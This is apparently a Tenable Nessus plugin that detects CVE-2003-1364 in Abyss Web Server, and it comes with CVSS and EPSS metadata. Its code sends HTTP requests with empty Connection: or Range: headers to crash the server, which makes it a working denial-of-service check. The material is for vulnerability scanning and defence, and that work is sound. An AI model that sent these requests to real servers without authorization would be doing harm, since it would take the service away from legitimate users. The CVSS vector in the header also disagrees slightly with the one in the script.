CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:N/I:P/A:C
EPSS
Percentile
89.0%
It was possible to kill the remote web server by sending empty HTTP request headers (namely Connection: or Range:).
An attacker may use this flaw to crash the affected application, thereby denying service to legitimate users.
#
# (C) Tenable Network Security, Inc.
#
# References:
# Date: Sat, 5 Apr 2003 12:21:48 +0000
# From: Auriemma Luigi <[email protected]>
# To: [email protected], [email protected],
# [email protected], [email protected]
# Subject: [VulnWatch] Abyss X1 1.1.2 remote crash
#
include("compat.inc");
if(description)
{
script_id(11521);
script_version ("1.22");
script_cve_id("CVE-2003-1364");
script_bugtraq_id(7287);
script_xref(name:"Secunia", value:"8528");
script_name(english:"Abyss Web Server Malformed GET Request Remote DoS");
script_summary(english:"Empty HTTP request headers crash the remote web server");
script_set_attribute(attribute:"synopsis",value:
"The remote web server is vulnerable to a denial of service attack.");
script_set_attribute(attribute:"description",value:
"It was possible to kill the remote web server by sending empty HTTP
request headers (namely Connection: or Range:).
An attacker may use this flaw to crash the affected application, thereby
denying service to legitimate users.");
script_set_attribute(attribute:"see_also",value:
"https://seclists.org/bugtraq/2003/Apr/98");
script_set_attribute(attribute:"solution",value:
"Upgrade to version 1.1.4 or higher, as it has been reported to fix
this vulnerability.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_cwe_id(20);
script_set_attribute(attribute:"plugin_publication_date", value: "2003/04/06");
script_set_attribute(attribute:"vuln_publication_date", value: "2003/04/06");
script_cvs_date("Date: 2018/11/15 20:50:25");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();
script_category(ACT_DENIAL);
script_copyright(english:"This script is Copyright (C) 2003-2018 Tenable Network Security, Inc.");
script_family(english:"Web Servers");
script_dependencies("find_service1.nasl", "no404.nasl", "http_version.nasl");
script_require_ports("Services/www", 80);
script_require_keys("www/abyss");
exit(0);
}
########
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
port = get_http_port(default:80);
banner = get_http_banner(port:port, exit_on_fail: 1);
if ("Abyss/" >!< banner ) exit(0, "The web server on port "+port+" is not Abyss.");
if(http_is_dead(port:port))exit(0);
foreach h (make_list("Connection", "Range", ""))
{
req = strcat( 'GET / HTTP/1.0\r\n', h, ': \r\n\r\n');
r = http_send_recv_buf(port:port, data: req);
if (http_is_dead(port: port))
{
security_warning(port);
exit(0);
}
}